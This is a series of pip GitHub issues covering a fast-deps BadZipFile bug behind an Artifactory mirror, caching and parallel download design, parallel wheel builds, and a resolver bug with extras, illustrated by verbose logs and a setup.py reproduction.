Trying to install Cython using the experimental features.

Command line:
```
virtualenv -p python3.7 env
source env/bin/activate
pip install -U pip
pip install --use-feature=2020-resolver --use-feature=fast-deps -v cython
```
This works correctly on my home linux computer, but fails at work where we have the following /etc/pip.conf:

```
[global]
cert = /etc/pki/tls/cert.pem
no-cache-dir = false
index-url = https://artifactory.our-organization.com/artifactory/api/pypi/python-virtual-repo/simple
index = https://artifactory.our-organization.com/artifactory/api/pypi/python-virtual-repo/simple
```

It also works in both places when I keep 2020-resolver but omit fast-deps.

The same problem is present on `master`

**Output**
This is the relevant part of the output from pip -v, with pip f17c1d6d3bf4b4ee8b7b0e669c449b9cd86e94f6 installed:
```
Given no hashes to check 141 links for project 'cython': discarding no candidates
Collecting cython
  Obtaining dependency information from cython 0.29.21
  https://artifactory.our-organization.com:443 "HEAD /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 0
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  https://artifactory.our-organization.com:443 "GET /artifactory/api/pypi/python-virtual-repo/packages/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113

[SNIP: that line repeats a total of 193 times]

ERROR: Exception:
Traceback (most recent call last):
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/cli/base_command.py", line 216, in _main
    status = self.run(options, args)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/cli/req_command.py", line 182, in wrapper
    return func(self, options, args)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/commands/install.py", line 324, in run
    reqs, check_supported_wheels=not options.target_dir
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 111, in resolve
    requirements, max_rounds=try_to_avoid_resolution_too_deep,
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 427, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 324, in resolve
    failure_causes = self._attempt_to_pin_criterion(name, criterion)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 224, in _attempt_to_pin_criterion
    criteria = self._get_criteria_to_update(candidate)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_vendor/resolvelib/resolvers.py", line 215, in _get_criteria_to_update
    for r in self._p.get_dependencies(candidate):
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/provider.py", line 151, in get_dependencies
    for r in candidate.iter_dependencies(with_requires)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/provider.py", line 150, in <listcomp>
    r
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 251, in iter_dependencies
    for r in self.dist.requires():
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 230, in dist
    self._prepare()
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 217, in _prepare
    dist = self._prepare_distribution()
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 315, in _prepare_distribution
    self._ireq, parallel_builds=True,
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 500, in prepare_linked_requirement
    wheel_dist = self._fetch_metadata_using_lazy_wheel(link)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/operations/prepare.py", line 488, in _fetch_metadata_using_lazy_wheel
    return dist_from_wheel_url(name, url, self._session)
  File "/tmp/tmp.O9hMH57Ecq/env2/lib/python3.7/site-packages/pip/_internal/network/lazy_wheel.py", line 46, in dist_from_wheel_url
    zip_file = ZipFile(wheel)  # type: ignore
  File "/opt/python-3.7/lib/python3.7/zipfile.py", line 1222, in __init__
    self._RealGetContents()
  File "/opt/python-3.7/lib/python3.7/zipfile.py", line 1317, in _RealGetContents
    raise BadZipFile("Bad magic number for central directory")
zipfile.BadZipFile: Bad magic number for central directory
```

The same part of the output for my home machine where it works, also with  f17c1d6d3bf4b4ee8b7b0e669c449b9cd86e94f6

```
Given no hashes to check 141 links for project 'cython': discarding no candidates
Collecting cython
  Obtaining dependency information from cython 0.29.21
  Starting new HTTPS connection (1): files.pythonhosted.org:443
  https://files.pythonhosted.org:443 "HEAD /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 0
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 3033
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 7207
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 13941
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 166
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 10240
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 30
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 41
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 99
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 30
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 33
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 1035
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 30
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 38
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 21
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 30
  Status code 206 not in (200, 203, 300, 301)
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  Request header has "no-cache", cache bypassed
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 206 3404
  Status code 206 not in (200, 203, 300, 301)
  Created temporary directory: /tmp/pip-unpack-xywl9x_9
  Looking up "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl" in the cache
  No cache entry available
  https://files.pythonhosted.org:443 "GET /packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl HTTP/1.1" 200 1969113
  Downloading Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl (2.0 MB)
     |████████████████████████████████| 2.0 MB 2.2 MB/s eta 0:00:01  Ignoring unknown cache-control directive: immutable
  Updating cache with response from "https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl"
  Caching due to etag
     |████████████████████████████████| 2.0 MB 2.2 MB/s 
  Added cython from https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl#sha256=5e545a48f919e40079b0efe7b0e081c74b96f9ef25b9c1ff4cdbd95764426b58 to build tracker '/tmp/pip-req-tracker-a7imwe9c'
  Removed cython from https://files.pythonhosted.org/packages/6b/36/d6c18632a339dafa54fd128b0dd2c36c6dc4bc86b8e0d366ccd9f22b480a/Cython-0.29.21-cp37-cp37m-manylinux1_x86_64.whl#sha256=5e545a48f919e40079b0efe7b0e081c74b96f9ef25b9c1ff4cdbd95764426b58 from build tracker '/tmp/pip-req-tracker-a7imwe9c'
Installing collected packages: cython

  changing mode of /tmp/ohoashd-env/bin/cygdb to 755
  changing mode of /tmp/ohoashd-env/bin/cython to 755
  changing mode of /tmp/ohoashd-env/bin/cythonize to 755
Successfully installed cython-0.29.21
Removed build tracker: '/tmp/pip-req-tracker-a7imwe9c'
```

**Additional information**

Happy to try versions from pull requests if that's helpful.  I *might* also be smart enough to set up a mitmproxy to record the HTTP interaction, but I'm not completely sure.
user: tgs
labels: type: bug: A confirmed bug or unintended behavior
issue_8720: state: open
title: [fast-deps] Caching during dependency resolution
body: Depending on the command, the file may already exist:

1. `pip install` - wheel cache or HTTP cache
2. `pip wheel` - wheel download folder, wheel cache, or HTTP cache
3. `pip download` - download folder, wheel cache, or HTTP cache

In all three cases, I think the wheel cache piece may be handled earlier during resolving, so we wouldn't inadvertently use a lazy wheel for it.

In all three cases, it may be the case that the file we want is already in the HTTP cache. I don't know if range requests bypass the HTTP cache or it does what we want (which would be to return the requested bytes from the file on disk). Maybe it is worth it to see if the request is cached first, and just skip the lazy wheel?

In `pip wheel` and `pip download`, the user may have already downloaded some of the files, and we would want to be able to use those rather than lazily downloading the metadata. Note that the logic refactored in #8685 does not account for this.

_Originally posted by @chrahunt in https://github.com/pypa/pip/issues/8697#issuecomment-668931728_
user: McSinyx
labels: C: download: About fetching data from PyPI and other sources
state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
S: needs triage: Issues/PRs that need to be triaged
issue_8708: state: open
title: parallelize pip wheel
body: **What's the problem this feature will solve?**
`pip wheel -r requirements.txt` may trigger building wheels for a lot of packages at once and currently every package is converted to a wheel sequentially which may take a lot of time. Especially packages that override the build step to run custom scripts.

**Describe the solution you'd like**
`pip wheel` should automatically build packages in parallel, or with a `--parallel` option on the CLI.

**Additional context**
I'm not clear in what scenarios would cause problems building packages in parallel into wheels. It seems most cases would not be an issue because packages can be built without being installed, indicating that they can be built in isolation.

user: mmerickel
labels: type: feature request: Request for a new feature
issue_8698: state: open
title: Parallel download: How should we display the progress?
body: This issue is opened to discuss the UI to be implemented for parallel download, with accessibility as well as platform compatibility in mind (relevant ticket: GH-8518).  Concerning cursor moving support, the safest approach is to have a meta progress bar at the bottom of the output, i.e. something like apt's but not stuck to the bottom of the viewport (since that would require curses-or-similar support and defeat the purpose):

![apt](https://oremacs.com/download/apt-install-progress-1.png)

@pradyunsg suggested having multiple progress bar, similar to what showed in python-poetry/poetry#2595 and what rich provides (it unfortunately requires Python >=3.6, but similar TUI can be implemented/found elsewhere):

![rich](https://raw.githubusercontent.com/willmcgugan/rich/master/imgs/progress.gif)

I believe that there are other designs as well and would love to hear more suggestions and opinions!
user: McSinyx
labels: C: download: About fetching data from PyPI and other sources
state: needs discussion: This needs some more discussion
type: question: User question
C: cli: Command line interface related things (optparse, option grouping etc)
UX: User experience related
issue_8697: state: open
title: [fast-deps] How should we isolate the networking code for late download in parallel?
body: > I am truly sorry for not clarifying this earlier in a discussion point and ended up causing a decent amount of confusion :sweat_smile:

_Originally posted by @McSinyx in https://github.com/pypa/pip/pull/8638#discussion_r464979377_

Regarding my GSoC project on download parallelization, now we have:

* Multi-threading utilities working
* A list wheels that can be downloaded together under the experimental feature `fast-deps` (thank you @chrahunt for the clean up at GH-8685)

In the current code base, when `fast-deps` is used, [RequirementPreparer.prepare_linked_requirement](https://github.com/pypa/pip/blob/ee4371c38697098b45df7503e52635a952036abc/src/pip/_internal/operations/prepare.py#L481-L498) may skip the actual preparation (including some checks, downloading the *whole* wheel and moving it around) and save it for right before the **new** resolver returning the requirement set.  Essentially the download preparation is what we want to execute in parallel, however to obtain progress data for display, it is not a good idea to `map_multithreading` the method directly.

With that in mind, we may want to invoke the download before the final preparation calls (the following snippet).

https://github.com/pypa/pip/blob/ee4371c38697098b45df7503e52635a952036abc/src/pip/_internal/resolution/resolvelib/resolver.py#L162-L165

@pradyunsg and I came to a conclusion that it might be a good idea to have the path to download files stored in the InstallRequirement to be able to cleanly skip [the call to unpack_url](https://github.com/pypa/pip/blob/master/src/pip/_internal/operations/prepare.py#L513).

This comes out as the output of my discussion with @pradyunsg after a few unsuccessful attempts of mine to solve the issue.  He suggested that a issue should be filed to gather opinions from other maintainers (as well interested contributors) to construct the most complete view on the matter.  Please feel free to share what's in your mind!
user: McSinyx
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_8686: state: open
title: Excluding packages when extra is specified
body: I have found a dependency resolving issue in PIP, here is how to reproduce.
Nor the "old" or the "2020-resolver" is able to fix the issue. However they both fails in different ways. 

This is a very problematic for us. When do you think it could be resolved ?

### Environment:
```bash
pip list

Package    Version
---------- -------
pip        20.2
setuptools 49.2.0
wheel      0.34.2
```


### Script to reproduce

```python
#!/usr/bin/env python

"""The setup script."""

from setuptools import setup

# We ask to install is-sorted by pinned version (points to 0.0.1: https://pypi.org/project/is-sorted/0.0.1/)
install_requires = ["is-sorted==0.0.1; extra != 'env_A' and extra != 'env_B'"]

extras_require = {
    "env_a": ["random-string"],  # a random package
    "env_b": ["get-random"],  # a random package
}

# We ask to install is-sorted by range (currently points to 0.0.2: https://pypi.org/project/is-sorted/0.0.2/)
extras_require = {key: val + ["is-sorted>=0.0.1,<0.1"] for key, val in extras_require.items()}

setup(
    name='test_pkg',
    version='1.0.0',
    install_requires=install_requires,
    extras_require=extras_require,
)
```

### What shall be expected
- if installed without any extra require environment, only installs: 
  - `is-sorted==0.0.1`
- if installed with extra require environment `env_a`: 
  - `random-string`
  - `is-sorted>=0.0.1,<0.1`
- if installed with extra require environment `env_b`: 
  - `get-random`
  - `is-sorted>=0.0.1,<0.1`
- if installed with extra require environments `env_a  && env_b`: 
  - `random-string`  # from `env_a`
  - `get-random`    # from `env_b`
  - `is-sorted>=0.0.1,<0.1`

### What happens in practice ?

#### 0. Let's build the wheel: `python setup.py bdist_wheel`

```bash
$ python setup.py bdist_wheel

running bdist_wheel
running build
installing to build/bdist.linux-x86_64/wheel
running install
running install_egg_info
running egg_info
writing test_pkg.egg-info/PKG-INFO
writing dependency_links to test_pkg.egg-info/dependency_links.txt
writing requirements to test_pkg.egg-info/requires.txt
writing top-level names to test_pkg.egg-info/top_level.txt
reading manifest file 'test_pkg.egg-info/SOURCES.txt'
writing manifest file 'test_pkg.egg-info/SOURCES.txt'
Copying test_pkg.egg-info to build/bdist.linux-x86_64/wheel/test_pkg-1.0.0-py3.6.egg-info
running install_scripts
creating build/bdist.linux-x86_64/wheel/test_pkg-1.0.0.dist-info/WHEEL
creating 'dist/test_pkg-1.0.0-py3-none-any.whl' and adding 'build/bdist.linux-x86_64/wheel' to it
adding 'test_pkg-1.0.0.dist-info/METADATA'
adding 'test_pkg-1.0.0.dist-info/WHEEL'
adding 'test_pkg-1.0.0.dist-info/top_level.txt'
adding 'test_pkg-1.0.0.dist-info/RECORD'
removing build/bdist.linux-x86_64/wheel
```

If we look at the file `METADATA`, everything seems OK:
```bash
Requires-Dist: is-sorted (==0.0.1) ; extra != "env_a" and extra != "env_b"
Provides-Extra: env_a
Requires-Dist: random-string ; extra == 'env_a'
Requires-Dist: is-sorted (<0.1,>=0.0.1) ; extra == 'env_a'
Provides-Extra: env_b
Requires-Dist: get-random ; extra == 'env_b'
Requires-Dist: is-sorted (<0.1,>=0.0.1) ; extra == 'env_b'
```

#### 1. Install with NO extra require
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl"

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
Collecting is-sorted==0.0.1; extra != "env_a" and extra != "env_b"
  Downloading is_sorted-0.0.1-py3-none-any.whl (2.8 kB)
Installing collected packages: is-sorted, test-pkg
Successfully installed is-sorted-0.0.1 test-pkg-1.0.0
```

**Conclusion**: Everything is good.

#### 2. Install with `env_a` extra require
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_a]"

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
  Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting is-sorted<0.1,>=0.0.1; extra == "env_a"
  Downloading is_sorted-0.0.2-py3-none-any.whl (3.3 kB)
Collecting random-string; extra == "env_a"
  Downloading random-string-1.00.tar.gz (996 bytes)
Building wheels for collected packages: random-string
  Building wheel for random-string (setup.py) ... done
  Created wheel for random-string: filename=random_string-1.0-py3-none-any.whl size=1897 sha256=14603b692b5977dfe8f4bc8d4c3ea54a796b5b4c86760c0bb97b21f3f1aaf2cb
  Stored in directory: /root/.cache/pip/wheels/47/2d/fe/13b8d8df913e51efdd1c8a66632a2dd0b54abb101c2c9ac399
Successfully built random-string
Installing collected packages: is-sorted, random-string, test-pkg
ERROR: After October 2020 you may experience errors when installing or updating packages. This is because pip will change the way that it resolves dependency conflicts.

We recommend you use --use-feature=2020-resolver to test your packages with the new resolver before it becomes the default.

test-pkg 1.0.0 requires is-sorted==0.0.1; extra != "env_a" and extra != "env_b", but you'll have is-sorted 0.0.2 which is incompatible.
Successfully installed is-sorted-0.0.2 random-string-1.0 test-pkg-1.0.0
```

**Conclusion: A scary "red" warning for no reason: ` is-sorted-0.0.2 random-string-1.0 test-pkg-1.0.0` shall be the correct set of dependencies**

#### 3. Install with `env_b` extra require
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_b]"

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
  Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting get-random; extra == "env_b"
  Downloading get_random-0.1.4.tar.gz (2.5 kB)
Collecting is-sorted<0.1,>=0.0.1; extra == "env_b"
  Downloading is_sorted-0.0.2-py3-none-any.whl (3.3 kB)
Building wheels for collected packages: get-random
  Building wheel for get-random (setup.py) ... done
  Created wheel for get-random: filename=get_random-0.1.4-py3-none-any.whl size=2516 sha256=5fdc7d9551dcf4e377d839c938865dc5053745d1e67aaad9cfd418fa67e28848
  Stored in directory: /root/.cache/pip/wheels/ec/01/58/0ee893b104a22036186016ffaf29e1aca6a343c11341677a4c
Successfully built get-random
Installing collected packages: get-random, is-sorted, test-pkg
ERROR: After October 2020 you may experience errors when installing or updating packages. This is because pip will change the way that it resolves dependency conflicts.

We recommend you use --use-feature=2020-resolver to test your packages with the new resolver before it becomes the default.

test-pkg 1.0.0 requires is-sorted==0.0.1; extra != "env_a" and extra != "env_b", but you'll have is-sorted 0.0.2 which is incompatible.
Successfully installed get-random-0.1.4 is-sorted-0.0.2 test-pkg-1.0.0
```

**Conclusion: A scary "red" warning for no reason: ` get-random-0.1.4 is-sorted-0.0.2 test-pkg-1.0.0` shall be the correct set of dependencies**

#### 4. Install with `env_a && env_b` extra require
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_a,env_b]"

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
  Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting is-sorted<0.1,>=0.0.1; extra == "env_a"
  Downloading is_sorted-0.0.2-py3-none-any.whl (3.3 kB)
Collecting random-string; extra == "env_a"
  Downloading random-string-1.00.tar.gz (996 bytes)
Collecting get-random; extra == "env_b"
  Downloading get_random-0.1.4.tar.gz (2.5 kB)
Building wheels for collected packages: random-string, get-random
  Building wheel for random-string (setup.py) ... done
  Created wheel for random-string: filename=random_string-1.0-py3-none-any.whl size=1897 sha256=6a38795c861b315d94332cc3b381c7441fc83c54dd8a4db8b34cd43f638dca33
  Stored in directory: /root/.cache/pip/wheels/47/2d/fe/13b8d8df913e51efdd1c8a66632a2dd0b54abb101c2c9ac399
  Building wheel for get-random (setup.py) ... done
  Created wheel for get-random: filename=get_random-0.1.4-py3-none-any.whl size=2516 sha256=aa4677747ad67d64a16789e1611e3ca781800d380b8798bde2466aa6f005e4ba
  Stored in directory: /root/.cache/pip/wheels/ec/01/58/0ee893b104a22036186016ffaf29e1aca6a343c11341677a4c
Successfully built random-string get-random
Installing collected packages: is-sorted, random-string, get-random, test-pkg
ERROR: After October 2020 you may experience errors when installing or updating packages. This is because pip will change the way that it resolves dependency conflicts.

We recommend you use --use-feature=2020-resolver to test your packages with the new resolver before it becomes the default.

test-pkg 1.0.0 requires is-sorted==0.0.1; extra != "env_a" and extra != "env_b", but you'll have is-sorted 0.0.2 which is incompatible.
Successfully installed get-random-0.1.4 is-sorted-0.0.2 random-string-1.0 test-pkg-1.0.0
```

